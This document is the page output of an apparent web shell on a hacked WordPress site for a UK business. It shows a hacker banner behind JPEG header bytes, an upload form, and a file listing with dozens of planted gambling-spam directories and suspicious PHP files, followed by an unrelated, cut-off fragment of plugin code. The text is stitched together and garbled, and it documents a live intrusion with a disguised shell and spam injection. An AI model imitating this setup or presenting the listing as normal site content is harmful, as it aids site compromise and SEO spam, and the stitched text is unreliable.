ÿØÿÛ C
iamH4CKEERRRRRRRRRRRS
I am a hacker in the dark of a very cold night
path :/home/www/kinleysgarage.co.uk
upload file:
List of files:
| name file |
size |
edit |
permission |
action |
| .1745560516 | 80 KB | April 25 2025 05:55:16 | 0644 |
|
| .1745565040 | 80 KB | April 25 2025 07:10:40 | 0644 |
|
| .1745568656 | 80 KB | April 25 2025 08:10:56 | 0644 |
|
| .1745572277 | 80 KB | April 25 2025 09:11:17 | 0644 |
|
| .1745575899 | 80 KB | April 25 2025 10:11:39 | 0644 |
|
| .1745579514 | 80 KB | April 25 2025 11:11:54 | 0644 |
|
| .1745583133 | 80 KB | April 25 2025 12:12:13 | 0644 |
|
| .1745586759 | 80 KB | April 25 2025 13:12:39 | 0644 |
|
| .1745590387 | 80 KB | April 25 2025 14:13:07 | 0644 |
|
| .1745594004 | 80 KB | April 25 2025 15:13:24 | 0644 |
|
| .1745595958 | 80 KB | April 25 2025 15:45:58 | 0644 |
|
| .1745596080 | 80 KB | April 25 2025 15:48:00 | 0644 |
|
| .1745596322 | 80 KB | April 25 2025 15:52:02 | 0644 |
|
| .1745596415 | 80 KB | April 25 2025 15:53:35 | 0644 |
|
| .1745597625 | 80 KB | April 25 2025 16:13:45 | 0644 |
|
| .1745624775 | 80 KB | April 25 2025 23:46:15 | 0644 |
|
| .1745626192 | 80 KB | April 26 2025 00:09:52 | 0644 |
|
| .1745626576 | 80 KB | April 26 2025 00:16:16 | 0644 |
|
| .1745630191 | 80 KB | April 26 2025 01:16:31 | 0644 |
|
| .1745633808 | 80 KB | April 26 2025 02:16:48 | 0644 |
|
| .1745637431 | 80 KB | April 26 2025 03:17:11 | 0644 |
|
| .1745639200 | 80 KB | April 26 2025 03:46:40 | 0644 |
|
| .1745639764 | 80 KB | April 26 2025 03:56:04 | 0644 |
|
| .1745640126 | 80 KB | April 26 2025 04:02:06 | 0644 |
|
| .1745641940 | 80 KB | April 26 2025 04:32:20 | 0644 |
|
| .1745646463 | 80 KB | April 26 2025 05:47:43 | 0644 |
|
| .1745650080 | 80 KB | April 26 2025 06:48:00 | 0644 |
|
| .1745653695 | 80 KB | April 26 2025 07:48:15 | 0644 |
|
| .1745657308 | 80 KB | April 26 2025 08:48:28 | 0644 |
|
| .1745660924 | 80 KB | April 26 2025 09:48:44 | 0644 |
|
| .1745664550 | 80 KB | April 26 2025 10:49:10 | 0644 |
|
| .1745668165 | 80 KB | April 26 2025 11:49:25 | 0644 |
|
| .1745671661 | 80 KB | April 26 2025 12:47:41 | 0644 |
|
| .1745671780 | 80 KB | April 26 2025 12:49:40 | 0644 |
|
| .1745673851 | 80 KB | April 26 2025 13:24:11 | 0644 |
|
| .1745674527 | 80 KB | April 26 2025 13:35:27 | 0644 |
|
| .1745675395 | 80 KB | April 26 2025 13:49:55 | 0644 |
|
| .1745679014 | 80 KB | April 26 2025 14:50:14 | 0644 |
|
| .1745682470 | 80 KB | April 26 2025 15:47:50 | 0644 |
|
| .1745683532 | 80 KB | April 26 2025 16:05:32 | 0644 |
|
| .1745688046 | 80 KB | April 26 2025 17:20:46 | 0644 |
|
| .1745691667 | 80 KB | April 26 2025 18:21:07 | 0644 |
|
| .1745696177 | 80 KB | April 26 2025 19:36:17 | 0644 |
|
| .1745699110 | 80 KB | April 26 2025 20:25:10 | 0644 |
|
| .1745699666 | 80 KB | April 26 2025 20:34:26 | 0644 |
|
| .1745699791 | 80 KB | April 26 2025 20:36:31 | 0644 |
|
| .1745703405 | 80 KB | April 26 2025 21:36:45 | 0644 |
|
| .1745707022 | 80 KB | April 26 2025 22:37:02 | 0644 |
|
| .1745711537 | 80 KB | April 26 2025 23:52:17 | 0644 |
|
| .1745715157 | 80 KB | April 27 2025 00:52:37 | 0644 |
|
| .1745718772 | 80 KB | April 27 2025 01:52:52 | 0644 |
|
| .1745722404 | 80 KB | April 27 2025 02:53:24 | 0644 |
|
| .1745725749 | 80 KB | April 27 2025 03:49:09 | 0644 |
|
| .1745726926 | 80 KB | April 27 2025 04:08:46 | 0644 |
|
| .1745730546 | 80 KB | April 27 2025 05:09:06 | 0644 |
|
| .1745734162 | 80 KB | April 27 2025 06:09:22 | 0644 |
|
| .1745738677 | 80 KB | April 27 2025 07:24:37 | 0644 |
|
| .1745742290 | 80 KB | April 27 2025 08:24:50 | 0644 |
|
| .1745746801 | 80 KB | April 27 2025 09:40:01 | 0644 |
|
| .1745751312 | 80 KB | April 27 2025 10:55:12 | 0644 |
|
| .1745754927 | 80 KB | April 27 2025 11:55:27 | 0644 |
|
| .1745758547 | 80 KB | April 27 2025 12:55:47 | 0644 |
|
| .1745762169 | 80 KB | April 27 2025 13:56:09 | 0644 |
|
| .1745765786 | 80 KB | April 27 2025 14:56:26 | 0644 |
|
| .1745769019 | 80 KB | April 27 2025 15:50:19 | 0644 |
|
| .1745769400 | 80 KB | April 27 2025 15:56:40 | 0644 |
|
| .1745773015 | 80 KB | April 27 2025 16:56:55 | 0644 |
|
| .1745775178 | 80 KB | April 27 2025 17:32:58 | 0644 |
|
| .1745775916 | 80 KB | April 27 2025 17:45:16 | 0644 |
|
| .1745776504 | 80 KB | April 27 2025 17:55:04 | 0644 |
|
| .1745776507 | 80 KB | April 27 2025 17:55:07 | 0644 |
|
| .1745777527 | 80 KB | April 27 2025 18:12:07 | 0644 |
|
| .1745782043 | 80 KB | April 27 2025 19:27:23 | 0644 |
|
| .1745786548 | 80 KB | April 27 2025 20:42:28 | 0644 |
|
| .1745791056 | 80 KB | April 27 2025 21:57:36 | 0644 |
|
| .1745794675 | 80 KB | April 27 2025 22:57:55 | 0644 |
|
| .1745798288 | 80 KB | April 27 2025 23:58:08 | 0644 |
|
| .1745801911 | 80 KB | April 28 2025 00:58:31 | 0644 |
|
| .1745805525 | 80 KB | April 28 2025 01:58:45 | 0644 |
|
| .1745809142 | 80 KB | April 28 2025 02:59:02 | 0644 |
|
| .1745812276 | 80 KB | April 28 2025 03:51:16 | 0644 |
|
| .1745812756 | 80 KB | April 28 2025 03:59:16 | 0644 |
|
| .1745816371 | 80 KB | April 28 2025 04:59:31 | 0644 |
|
| .1745820883 | 80 KB | April 28 2025 06:14:43 | 0644 |
|
| .1745824505 | 80 KB | April 28 2025 07:15:05 | 0644 |
|
| .1745829025 | 80 KB | April 28 2025 08:30:25 | 0644 |
|
| .1745832646 | 80 KB | April 28 2025 09:30:46 | 0644 |
|
| .1745836274 | 80 KB | April 28 2025 10:31:14 | 0644 |
|
| .1745839900 | 80 KB | April 28 2025 11:31:40 | 0644 |
|
| .1745843526 | 80 KB | April 28 2025 12:32:06 | 0644 |
|
| .1745847147 | 80 KB | April 28 2025 13:32:27 | 0644 |
|
| .1745850770 | 80 KB | April 28 2025 14:32:50 | 0644 |
|
| .1745854387 | 80 KB | April 28 2025 15:33:07 | 0644 |
|
| .1745858007 | 80 KB | April 28 2025 16:33:27 | 0644 |
|
| .1745861631 | 80 KB | April 28 2025 17:33:51 | 0644 |
|
| .1745865253 | 80 KB | April 28 2025 18:34:13 | 0644 |
|
| .1745868873 | 80 KB | April 28 2025 19:34:33 | 0644 |
|
| .1745872488 | 80 KB | April 28 2025 20:34:48 | 0644 |
|
| .1745875365 | 80 KB | April 28 2025 21:22:45 | 0644 |
|
| .1745876104 | 80 KB | April 28 2025 21:35:04 | 0644 |
|
| .1745876898 | 80 KB | April 28 2025 21:48:18 | 0644 |
|
| .1745879727 | 80 KB | April 28 2025 22:35:27 | 0644 |
|
| .1745883347 | 80 KB | April 28 2025 23:35:47 | 0644 |
|
| .1745886978 | 80 KB | April 29 2025 00:36:18 | 0644 |
|
| .1745890609 | 80 KB | April 29 2025 01:36:49 | 0644 |
|
| .1745894226 | 80 KB | April 29 2025 02:37:06 | 0644 |
|
| .1745898747 | 80 KB | April 29 2025 03:52:27 | 0644 |
|
| .1745901445 | 80 KB | April 29 2025 04:37:25 | 0644 |
|
| .1745902373 | 80 KB | April 29 2025 04:52:53 | 0644 |
|
| .1745905999 | 80 KB | April 29 2025 05:53:19 | 0644 |
|
| .1745909628 | 80 KB | April 29 2025 06:53:48 | 0644 |
|
| .1745913253 | 80 KB | April 29 2025 07:54:13 | 0644 |
|
| .1745917764 | 80 KB | April 29 2025 09:09:24 | 0644 |
|
| .1745921386 | 80 KB | April 29 2025 10:09:46 | 0644 |
|
| .1745925905 | 80 KB | April 29 2025 11:25:05 | 0644 |
|
| .1745929519 | 80 KB | April 29 2025 12:25:19 | 0644 |
|
| .1745931243 | 80 KB | April 29 2025 12:54:03 | 0644 |
|
| .1745934028 | 80 KB | April 29 2025 13:40:28 | 0644 |
|
| .1745937648 | 80 KB | April 29 2025 14:40:48 | 0644 |
|
| .1745942159 | 80 KB | April 29 2025 15:55:59 | 0644 |
|
| .1745945775 | 80 KB | April 29 2025 16:56:15 | 0644 |
|
| .1745950287 | 80 KB | April 29 2025 18:11:27 | 0644 |
|
| .1745952613 | 80 KB | April 29 2025 18:50:13 | 0644 |
|
| .1745954804 | 80 KB | April 29 2025 19:26:44 | 0644 |
|
| .1745959314 | 80 KB | April 29 2025 20:41:54 | 0644 |
|
| .1745962932 | 80 KB | April 29 2025 21:42:12 | 0644 |
|
| .1745966545 | 80 KB | April 29 2025 22:42:25 | 0644 |
|
| .htaccess | 243 KB | April 11 2026 06:59:32 | 0644 |
|
| .htacl | 92 KB | March 29 2026 20:14:08 | 0644 |
|
| .lock | 756 KB | April 24 2025 17:50:49 | 0644 |
|
| .multi | 0 KB | April 25 2025 15:47:56 | 0644 |
|
| .tmb | - | April 08 2025 21:25:54 | 0777 |
|
| Agen-Mix-Parlay | - | April 29 2025 13:00:48 | 0755 |
|
| Agen-Sbobet | - | May 01 2025 15:08:14 | 0755 |
|
| Agen-Slot-Gacor | - | April 25 2025 15:53:06 | 0755 |
|
| Alternatif-Casino | - | April 18 2025 14:04:53 | 0755 |
|
| Alternatif-Judi-Bola | - | May 09 2025 02:01:51 | 0755 |
|
| Alternatif-Mix-Parlay | - | April 27 2025 03:58:11 | 0755 |
|
| Alternatif-Sbobet | - | April 18 2025 14:04:53 | 0755 |
|
| Alternatif-Slot | - | April 28 2025 03:57:42 | 0755 |
|
| Casino | - | April 18 2025 14:04:53 | 0755 |
|
| Daftar-Mix-Parlay | - | April 18 2025 14:04:53 | 0755 |
|
| Daftar-Sbobet | - | April 18 2025 14:04:53 | 0755 |
|
| Judi-Bola | - | April 26 2025 03:54:12 | 0755 |
|
| Judi-Casino | - | April 25 2025 03:57:40 | 0755 |
|
| Link-Casino | - | April 18 2025 14:04:53 | 0755 |
|
| Link-Judi-Resmi | - | April 18 2025 14:04:53 | 0755 |
|
| Link-Mix-Parlay | - | April 18 2025 14:04:53 | 0755 |
|
| Link-Sbobet | - | April 18 2025 14:04:53 | 0755 |
|
| Link-Sbobet88 | - | April 18 2025 14:04:53 | 0755 |
|
| Link-Slot | - | April 26 2025 15:54:54 | 0755 |
|
| Live-Casino | - | April 18 2025 14:04:53 | 0755 |
|
| Mix-Parlay | - | April 26 2025 03:54:15 | 0755 |
|
| Mix-Parlay-Online | - | May 08 2025 19:04:47 | 0755 |
|
| Mix-Parlay-Resmi | - | May 09 2025 02:03:02 | 0755 |
|
| Piala-Dunia-2026 | - | April 18 2025 14:04:53 | 0755 |
|
| RTP-Slot | - | April 18 2025 14:04:53 | 0755 |
|
| Sbobet | - | April 25 2025 15:53:09 | 0755 |
|
| Sbobet-Online | - | April 18 2025 14:04:53 | 0755 |
|
| Sbobet-Resmi | - | April 18 2025 14:04:53 | 0755 |
|
| Sbobet88 | - | April 18 2025 14:04:53 | 0755 |
|
| Situs-Mix-Parlay | - | April 18 2025 14:04:53 | 0755 |
|
| Situs-Sbobet | - | April 24 2025 07:51:25 | 0755 |
|
| Situs-Sbobet88 | - | April 18 2025 14:04:53 | 0755 |
|
| Situs-Slot | - | April 18 2025 14:04:53 | 0755 |
|
| Slot-Gacor | - | April 18 2025 14:04:53 | 0755 |
|
| Slot-Gacor-Online | - | April 18 2025 14:04:53 | 0755 |
|
| Slot-Maxwin | - | April 18 2025 14:04:53 | 0755 |
|
| Slot-Online | - | April 18 2025 14:04:53 | 0755 |
|
| Slot-Resmi | - | April 18 2025 14:04:53 | 0755 |
|
| Taruhan-Judi-Bola | - | April 18 2025 14:04:53 | 0755 |
|
| Taruhan-Mix-Parlay | - | April 18 2025 14:04:53 | 0755 |
|
| Taruhan-Sbobet | - | April 18 2025 14:04:53 | 0755 |
|
| core | 11759616 KB | April 29 2025 12:54:31 | 0600 |
|
| license.txt | 19915 KB | December 31 2023 18:02:20 | 0644 |
|
| readme.html | 7409 KB | June 18 2024 05:59:14 | 0644 |
|
| robots.txt | 93 KB | April 17 2025 06:39:58 | 0644 |
|
| sitemap.xml | 7885 KB | April 17 2025 06:39:58 | 0644 |
|
| w1px.php | 26454 KB | March 16 2026 11:38:18 | 0644 |
|
| wp-activate.php | 7387 KB | February 13 2024 08:19:10 | 0644 |
|
| wp-admin | - | April 23 2025 17:29:53 | 0755 |
|
| wp-blog-header.php | 351 KB | May 01 2025 14:59:24 | 0644 |
|
| wp-comments-post.php | 2323 KB | June 14 2023 08:11:16 | 0644 |
|
| wp-config-sample.php | 3336 KB | October 15 2024 09:24:18 | 0644 |
|
| wp-config.php | 3177 KB | May 07 2025 13:18:17 | 0644 |
|
| wp-content | - | April 14 2025 13:14:49 | 0755 |
|
| wp-cron.php | 5617 KB | April 29 2025 12:54:28 | 0644 |
|
| wp-includes | - | April 07 2026 03:57:15 | 0755 |
|
| wp-links-opml.php | 2502 KB | November 26 2022 15:01:18 | 0644 |
|
| wp-load.php | 14301 KB | May 08 2025 13:19:24 | 0644 |
|
| wp-login-css.php | 265113 KB | April 23 2025 15:28:26 | 0644 |
|
| wp-login.php | 51611 KB | September 30 2024 13:12:14 | 0644 |
|
| wp-mail.php | 8543 KB | September 18 2024 16:37:16 | 0644 |
|
| wp-settings.php | 29032 KB | May 07 2025 13:21:11 | 0644 |
|
| wp-signup.php | 34385 KB | June 19 2023 12:27:28 | 0644 |
|
| wp-trackback.php | 5102 KB | October 18 2024 09:56:18 | 0644 |
|
| xmlrpc.php | 3246 KB | March 02 2024 07:49:06 | 0644 |
|
getContent();
$loop_info = '';
$parsed_value = array();
if ( is_array( $params ) ) {
foreach ( $params as $key => $param ) {
$param_value_render = vc_loop_get_value( $param );
if ( ! empty( $param_value_render ) ) {
$parsed_value[] = $key . ':' . ( is_array( $param['value'] ) ? implode( ',', $param['value'] ) : $param['value'] );
$loop_info .= ' ' . $query_builder->getLabel( $key ) . ': ' . $param_value_render . ';';
}
}
}
if ( ! isset( $settings['settings'] ) ) {
$settings['settings'] = array();
}
return '';
}
/**
* @param $param
*
* @return string
* @since 4.2
*/
function vc_loop_get_value( $param ) {
$value = array();
$selected_values = (array) $param['value'];
if ( isset( $param['options'] ) && is_array( $param['options'] ) ) {
foreach ( $param['options'] as $option ) {
if ( is_array( $option ) && isset( $option['value'] ) ) {
if ( in_array( ( ( '-' === $option['action'] ? '-' : '' ) . $option['value'] ), $selected_values, true ) ) {
$value[] = $option['action'] . $option['name'];
}
} elseif ( is_array( $option ) && isset( $option[0] ) ) {
if ( in_array( $option[0], $selected_values, true ) ) {
$value[] = $option[1];
}
} elseif ( in_array( $option, $selected_values, true ) ) {
$value[] = $option;
}
}
} else {
$value[] = $param['value'];
}
return implode( ', ', $value );
}
/**
* Parses loop settings and creates WP_Query according to manual
* @since 4.2
* @link http://codex.wordpress.org/Class_Reference/WP_Query
*/
class VcLoopQueryBuilder {
/**
* @since 4.2
* @var array
*/
protected $args = array(
'post_status' => 'publish',
// show only published posts #1098
);
/**
* @param $data
* @since 4.2
*
*/
public function __construct( $data ) {
foreach ( $data as $key => $value ) {
$method = 'parse_' . $key;
if ( method_exists( $this, $method ) ) {
$this->$method( $value );
}
}
}
/**
* Pages count
* @param $value
* @since 4.2
*
*/
protected function parse_size( $value ) {
$this->args['posts_per_page'] = 'All' === $value ? - 1 : (int) $value;
}
/**
* Sorting field
* @param $value
* @since 4.2
*
*/
protected function parse_order_by( $value ) {
$this->args['orderby'] = $value;
}
/**
* Sorting order
* @param $value
* @since 4.2
*
*/
protected function parse_order( $value ) {
$this->args['order'] = $value;
}
/**
* By post types
* @param $value
* @since 4.2
*
*/
protected function parse_post_type( $value ) {
$this->args['post_type'] = $this->stringToArray( $value );
}
/**
* By author
* @param $value
* @since 4.2
*
*/
protected function parse_authors( $value ) {
$this->args['author'] = $value;
}
/**
* By categories
* @param $value
* @since 4.2
*
*/
protected function parse_categories( $value ) {
$values = explode( ',', $value );
$cat_in = array();
$cat_not_in = array();
foreach ( $values as $cat ) {
if ( (int) $cat > 0 ) {
$cat_in[] = $cat;
} else {
$cat_not_in[] = abs( $cat );
}
}
if ( ! empty( $cat_in ) ) {
$this->args['category__in'] = $cat_in;
}
if ( ! empty( $cat_not_in ) ) {
$this->args['category__not_in'] = $cat_not_in;
}
}
/**
* By taxonomies
* @param $value
* @since 4.2
*
*/
protected function parse_tax_query( $value ) {
$terms = $this->stringToArray( $value );
if ( empty( $this->args['tax_query'] ) ) {
$this->args['tax_query'] = array( 'relation' => 'AND' );
}
$negative_term_list = array();
foreach ( $terms as $term ) {
if ( (int) $term < 0 ) {
$negative_term_list[] = abs( $term );
}
}
$not_in = array();
$in = array();
$terms = get_terms( VcLoopSettings::getTaxonomies(), array( 'include' => array_map( 'abs', $terms ) ) );
foreach ( $terms as $t ) {
if ( in_array( (int) $t->term_id, $negative_term_list, true ) ) {
$not_in[ $t->taxonomy ][] = $t->term_id;
} else {
$in[ $t->taxonomy ][] = $t->term_id;
}
}
foreach ( $in as $taxonomy => $terms ) {
$this->args['tax_query'][] = array(
'field' => 'term_id',
'taxonomy' => $taxonomy,
'terms' => $terms,
'operator' => 'IN',
);
}
foreach ( $not_in as $taxonomy => $terms ) {
$this->args['tax_query'][] = array(
'field' => 'term_id',
'taxonomy' => $taxonomy,
'terms' => $terms,
'operator' => 'NOT IN',
);
}
}
/**
* By tags ids
* @param $value
* @since 4.2
*
*/
protected function parse_tags( $value ) {
$in = $not_in = array();
$tags_ids = $this->stringToArray( $value );
foreach ( $tags_ids as $tag ) {
$tag = (int) $tag;
if ( $tag < 0 ) {
$not_in[] = abs( $tag );
} else {
$in[] = $tag;
}
}
$this->args['tag__in'] = $in;
$this->args['tag__not_in'] = $not_in;
}
protected function parse_ignore_sticky_posts( $value ) {
if ( ! empty( $value ) ) {
$this->args['ignore_sticky_posts'] = true;
}
}
/**
* By posts ids
* @param $value
* @since 4.2
*
*/
protected function parse_by_id( $value ) {
$in = $not_in = array();
$ids = $this->stringToArray( $value );
foreach ( $ids as $id ) {
$id = (int) $id;
if ( $id < 0 ) {
$not_in[] = abs( $id );
} else {
$in[] = $id;
}
}
$this->args['post__in'] = $in;
$this->args['post__not_in'] = $not_in;
}
/**
* @param $id
* @since 4.2
*
*/
public function excludeId( $id ) {
if ( ! isset( $this->args['post__not_in'] ) ) {
$this->args['post__not_in'] = array();
}
if ( is_array( $id ) ) {
$this->args['post__not_in'] = array_merge( $this->args['post__not_in'], $id );
} else {
$this->args['post__not_in'][] = $id;
}
}
/**
* Converts string to array. Filters empty arrays values
* @param $value
*
* @return array
* @since 4.2
*
*/
protected function stringToArray( $value ) {
$valid_values = array();
$list = preg_split( '/\,[\s]*/', $value );
foreach ( $list as $v ) {
if ( strlen( $v ) > 0 ) {
$valid_values[] = $v;
}
}
return $valid_values;
}
/**
* @return array
*/
public function build() {
$args = apply_filters( 'wpb_loop_query_build_args', $this->args );
return array(
$args,
new WP_Query( $args ),
);
}
}
/**
* Class VcLoopSettings
* @since 4.2
*/
class VcLoopSettings {
// Available parts of loop for WP_Query object.
/**
* @since 4.2
* @var array
*/
protected $content = array();
/**
* @since 4.2
* @var array
*/
protected $parts;
/**
* @since 4.2
* @var array
*/
protected $query_parts = array(
'size',
'order_by',
'order',
'post_type',
'ignore_sticky_posts',
'authors',
'categories',
'tags',
'tax_query',
'by_id',
);
public $settings = array();
/**
* @param $value
* @param array $settings
* @since 4.2
*
*/
public function __construct( $value, $settings = array() ) {
$this->parts = array(
'size' => esc_html__( 'Post count', 'js_composer' ),
'order_by' => esc_html__( 'Order by', 'js_composer' ),
'order' => esc_html__( 'Sort order', 'js_composer' ),
'post_type' => esc_html__( 'Post types', 'js_composer' ),
'ignore_sticky_posts' => esc_html__( 'Ignore Sticky posts', 'js_composer' ),
'authors' => esc_html__( 'Author', 'js_composer' ),
'categories' => esc_html__( 'Categories', 'js_composer' ),
'tags' => esc_html__( 'Tags', 'js_composer' ),
'tax_query' => esc_html__( 'Taxonomies', 'js_composer' ),
'by_id' => esc_html__( 'Individual posts/pages', 'js_composer' ),
);
$this->settings = $settings;
// Parse loop string
$data = $this->parseData( $value );
foreach ( $this->query_parts as $part ) {
$value = isset( $data[ $part ] ) ? $data[ $part ] : '';
$locked = 'true' === $this->getSettings( $part, 'locked' );
// Predefined value check.
if ( ! is_null( $this->getSettings( $part, 'value' ) ) && $this->replaceLockedValue( $part ) && ( true === $locked || 0 === strlen( (string) $value ) ) ) {
$value = $this->settings[ $part ]['value'];
} elseif ( ! is_null( $this->getSettings( $part, 'value' ) ) && ! $this->replaceLockedValue( $part ) && ( true === $locked || 0 === strlen( (string) $value ) ) ) {
$value = implode( ',', array_unique( explode( ',', $value . ',' . $this->settings[ $part ]['value'] ) ) );
}
// Find custom method for parsing
if ( method_exists( $this, 'parse_' . $part ) ) {
$method = 'parse_' . $part;
$this->content[ $part ] = $this->$method( $value );
} else {
$this->content[ $part ] = $this->parseString( $value );
}
// Set locked if value is locked by settings
if ( $locked ) {
$this->content[ $part ]['locked'] = true;
}
if ( 'true' === $this->getSettings( $part, 'hidden' ) ) {
$this->content[ $part ]['hidden'] = true;
}
}
}
/**
* @param $part
*
* @return bool
* @since 4.2
*/
protected function replaceLockedValue( $part ) {
return in_array( $part, array(
'size',
'order_by',
'order',
), true );
}
/**
* @param $key
*
* @return mixed
* @since 4.2
*/
public function getLabel( $key ) {
return isset( $this->parts[ $key ] ) ? $this->parts[ $key ] : $key;
}
/**
* @param $part
* @param $name
*
* @return null
* @since 4.2
*/
public function getSettings( $part, $name ) {
$settings_exists = isset( $this->settings[ $part ] ) && is_array( $this->settings[ $part ] );
return $settings_exists && isset( $this->settings[ $part ][ $name ] ) ? $this->settings[ $part ][ $name ] : null;
}
/**
* @param $value
*
* @return array
* @since 4.2
*/
public function parseString( $value ) {
return array( 'value' => $value );
}
/**
* @param $value
* @param array $options
*
* @return array
* @since 4.2
*/
protected function parseDropDown( $value, $options = array() ) {
return array(
'value' => $value,
'options' => $options,
);
}
/**
* @param $value
* @param array $options
*
* @return array
* @since 4.2
*/
protected function parseMultiSelect( $value, $options = array() ) {
return array(
'value' => explode( ',', trim( $value, ',' ) ),
'options' => $options,
);
}
/**
* @param $value
*
* @return array
* @since 4.2
*/
public function parse_order_by( $value ) {
return $this->parseDropDown( $value, array(
array(
'date',
esc_html__( 'Date', 'js_composer' ),
),
'ID',
array(
'author',
esc_html__( 'Author', 'js_composer' ),
),
array(
'title',
esc_html__( 'Title', 'js_composer' ),
),
array(
'modified',
esc_html__( 'Modified', 'js_composer' ),
),
array(
'rand',
esc_html__( 'Random', 'js_composer' ),
),
array(
'comment_count',
esc_html__( 'Comment count', 'js_composer' ),
),
array(
'menu_order',
esc_html__( 'Menu order', 'js_composer' ),
),
) );
}
/**
* @param $value
*
* @return array
* @since 4.2
*/
public function parse_order( $value ) {
return $this->parseDropDown( $value, array(
array(
'ASC',
esc_html__( 'Ascending', 'js_composer' ),
),
array(
'DESC',
esc_html__( 'Descending', 'js_composer' ),
),
) );
}
/**
* @param $value
*
* @return array
* @since 4.2
*/
public function parse_post_type( $value ) {
$options = array();
$args = array(
'public' => true,
);
$post_types = get_post_types( $args );
foreach ( $post_types as $post_type ) {
if ( 'attachment' !== $post_type ) {
$options[] = $post_type;
}
}
return $this->parseMultiSelect( $value, $options );
}
/**
* @param $value
*
* @return array
*/
public function parse_ignore_sticky_posts( $value ) {
return array(
'value' => [ $value ],
'options' => [
[
'1',
'Yes',
],
],
);
}
/**
* @param $value
*
* @return array
* @since 4.2
*/
public function parse_authors( $value ) {
$options = $not_in = array();
if ( empty( $value ) ) {
return $this->parseMultiSelect( $value, $options );
}
$list = explode( ',', $value );
foreach ( $list as $id ) {
if ( (int) $id < 0 ) {
$not_in[] = abs( $id );
}
}
$users = get_users( array( 'include' => array_map( 'abs', $list ) ) );
foreach ( $users as $user ) {
$options[] = array(
'value' => (string) $user->ID,
'name' => $user->data->user_nicename,
'action' => in_array( (int) $user->ID, $not_in, true ) ? '-' : '+',
);
}
return $this->parseMultiSelect( $value, $options );
}
/**
* @param $value
*
* @return array
* @since 4.2
*/
public function parse_categories( $value ) {
$options = $not_in = array();
if ( empty( $value ) ) {
return $this->parseMultiSelect( $value, $options );
}
$list = explode( ',', $value );
foreach ( $list as $id ) {
if ( (int) $id < 0 ) {
$not_in[] = abs( $id );
}
}
$list = get_categories( array( 'include' => array_map( 'abs', $list ) ) );
foreach ( $list as $obj ) {
$options[] = array(
'value' => (string) $obj->cat_ID,
'name' => $obj->cat_name,
'action' => in_array( (int) $obj->cat_ID, $not_in, true ) ? '-' : '+',
);
}
if ( empty( $list ) ) {
$value = '';
}
return $this->parseMultiSelect( $value, $options );
}
/**
* @param $value
*
* @return array
* @since 4.2
*/
public function parse_tags( $value ) {
$options = $not_in = array();
if ( empty( $value ) ) {
return $this->parseMultiSelect( $value, $options );
}
$list = explode( ',', $value );
foreach ( $list as $id ) {
if ( (int) $id < 0 ) {
$not_in[] = abs( $id );
}
}
$list = get_tags( array( 'include' => array_map( 'abs', $list ) ) );
foreach ( $list as $obj ) {
$options[] = array(
'value' => (string) $obj->term_id,
'name' => $obj->name,
'action' => in_array( (int) $obj->term_id, $not_in, true ) ? '-' : '+',
);
}
return $this->parseMultiSelect( $value, $options );
}
/**
* @param $value
*
* @return array
* @since 4.2
*/
public function parse_tax_query( $value ) {
$options = $not_in = array();
if ( empty( $value ) ) {
return $this->parseMultiSelect( $value, $options );
}
$list = explode( ',', $value );
foreach ( $list as $id ) {
if ( (int) $id < 0 ) {
$not_in[] = abs( $id );
}
}
$list = get_terms( self::getTaxonomies(), array( 'include' => array_map( 'abs', $list ) ) );
foreach ( $list as $obj ) {
$options[] = array(
'value' => (string) $obj->term_id,
'name' => $obj->name,
'action' => in_array( (int) $obj->term_id, $not_in, true ) ? '-' : '+',
);
}
return $this->parseMultiSelect( $value, $options );
}
/**
* @param $value
*
* @return array
* @since 4.2
*/
public function parse_by_id( $value ) {
$options = $not_in = array();
if ( empty( $value ) ) {
return $this->parseMultiSelect( $value, $options );
}
$list = explode( ',', $value );
foreach ( $list as $id ) {
if ( (int) $id < 0 ) {
$not_in[] = abs( $id );
}
}
$list = get_posts( array(
'post_type' => 'any',
'include' => array_map( 'abs', $list ),
) );
foreach ( $list as $obj ) {
$options[] = array(
'value' => (string) $obj->ID,
'name' => $obj->post_title,
'action' => in_array( (int) $obj->ID, $not_in, true ) ? '-' : '+',
);
}
return $this->parseMultiSelect( $value, $options );
}
/**
* @since 4.2
*/
public function render() {
echo wp_json_encode( $this->content );
}
/**
* @return array
* @since 4.2
*/
public function getContent() {
return $this->content;
}
/**
* get list of taxonomies which has no tags and categories items.
* @return array
* @since 4.2
* @static
*/
public static function getTaxonomies() {
$taxonomy_exclude = (array) apply_filters( 'get_categories_taxonomy', 'category' );
$taxonomy_exclude[] = 'post_tag';
$taxonomies = array();
foreach ( get_taxonomies() as $taxonomy ) {
if ( ! in_array( $taxonomy, $taxonomy_exclude, true ) ) {
$taxonomies[] = $taxonomy;
}
}
return $taxonomies;
}
/**
* @param $settings
*
* @return string
* @since 4.2
*/
public static function buildDefault( $settings ) {
if ( ! isset( $settings['settings'] ) || ! is_array( $settings['settings'] ) ) {
return '';
}
$value = '';
foreach ( $settings['settings'] as $key => $val ) {
if ( isset( $val['value'] ) ) {
$value .= ( empty( $value ) ? '' : '|' ) . $key . ':' . $val['value'];
}
}
return $value;
}
/**
* @param $query
* @param bool $exclude_id
*
* @return array
* @since 4.2
*/
public static function buildWpQuery( $query, $exclude_id = false ) {
$data = self::parseData( $query );
$query_builder = new VcLoopQueryBuilder( $data );
if ( $exclude_id ) {
$query_builder->excludeId( $exclude_id );
}
return $query_builder->build();
}
/**
* @param $value
*
* @return array
* @since 4.2
*/
public static function parseData( $value ) {
$data = array();
$values_pairs = preg_split( '/\|/', $value );
foreach ( $values_pairs as $pair ) {
if ( ! empty( $pair ) ) {
list( $key, $value ) = preg_split( '/\:/', $pair );
$data[ $key ] = $value;
}
}
return $data;
}
}
/**
* Suggestion list for wp_query field
* Class VcLoopSuggestions
* @since 4.2
*/
class VcLoopSuggestions {
/**
* @since 4.2
* @var array
*/
protected $content = array();
/**
* @since 4.2
* @var array
*/
protected $exclude = array();
/**
* @since 4.2
* @var
*/
protected $field;
/**
* @param $field
* @param $query
* @param $exclude
*
* @since 4.2
*/
public function __construct( $field, $query, $exclude ) {
$this->exclude = explode( ',', $exclude );
$method_name = 'get_' . preg_replace( '/_out$/', '', $field );
if ( method_exists( $this, $method_name ) ) {
$this->$method_name( $query );
}
}
/**
* @param $query
*
* @since 4.2
*/
public function get_authors( $query ) {
$args = ! empty( $query ) ? array(
'search' => '*' . $query . '*',
'search_columns' => array( 'user_nicename' ),
) : array();
if ( ! empty( $this->exclude ) ) {
$args['exclude'] = $this->exclude;
}
$users = get_users( $args );
foreach ( $users as $user ) {
$this->content[] = array(
'value' => (string) $user->ID,
'name' => (string) $user->data->user_nicename,
);
}
}
/**
* @param $query
*
* @since 4.2
*/
